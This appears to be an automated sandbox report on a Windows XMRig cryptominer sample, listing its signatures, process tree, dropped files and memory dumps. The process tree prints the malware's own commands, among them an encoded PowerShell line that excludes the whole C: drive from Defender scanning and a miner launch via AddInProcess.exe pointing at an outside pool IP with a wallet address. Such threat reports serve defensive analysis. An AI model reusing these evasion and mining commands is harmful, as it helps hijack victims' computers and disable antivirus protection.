Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
25/01/2023, 07:56
General
- Target 96a0822a132f93f3ee12b8a85284516a.exe
- Size 2.7MB
- Sample230125-jspmcsha4s
- SHA256 ffe2e43e59074cf27875cc31e8be84503b1a6854dd3f2480b5aff7b6b220a416
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 59 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 26 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\96a0822a132f93f3ee12b8a85284516a.exe"C:\Users\Admin\AppData\Local\Temp\96a0822a132f93f3ee12b8a85284516a.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\96a0822a132f93f3ee12b8a85284516a.exeC:\Users\Admin\AppData\Roaming\96a0822a132f93f3ee12b8a85284516a.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 45.142.122.11:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.Worker_CPU -p x --algo rx/0 --cpu-max-threads-hint=502⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
96a0822a132f93f3ee12b8a85284516a.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
96a0822a132f93f3ee12b8a85284516a.exe
96a0822a132f93f3ee12b8a85284516a.exe
memory/476-151-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/476-152-0x0000022C4E1D9000-0x0000022C4E1DF000-memory.dmp
memory/476-132-0x0000022C4DB90000-0x0000022C4DE3C000-memory.dmp
memory/476-144-0x0000022C69650000-0x0000022C696E1000-memory.dmp
memory/476-146-0x0000022C4E1D9000-0x0000022C4E1DF000-memory.dmp
memory/476-137-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/476-133-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/476-134-0x0000022C68C00000-0x0000022C68C22000-memory.dmp
memory/1688-145-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/1688-147-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/2400-139-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/2400-136-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/2400-138-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/3400-159-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/3400-158-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/3400-156-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/4380-167-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/4380-170-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/4380-174-0x0000020ADCD80000-0x0000020ADCDA0000-memory.dmp
memory/4380-173-0x0000020ADCD80000-0x0000020ADCDA0000-memory.dmp
memory/4380-172-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/4380-165-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/4380-171-0x0000020ADCD40000-0x0000020ADCD80000-memory.dmp
memory/4380-168-0x0000000140000000-0x00000001407CA000-memory.dmp
memory/4380-169-0x0000020ADCBE0000-0x0000020ADCC00000-memory.dmp
memory/4528-164-0x000001B8303E9000-0x000001B8303EF000-memory.dmp
memory/4528-157-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/4528-153-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp
memory/4848-163-0x00007FFC484B0000-0x00007FFC48F71000-memory.dmp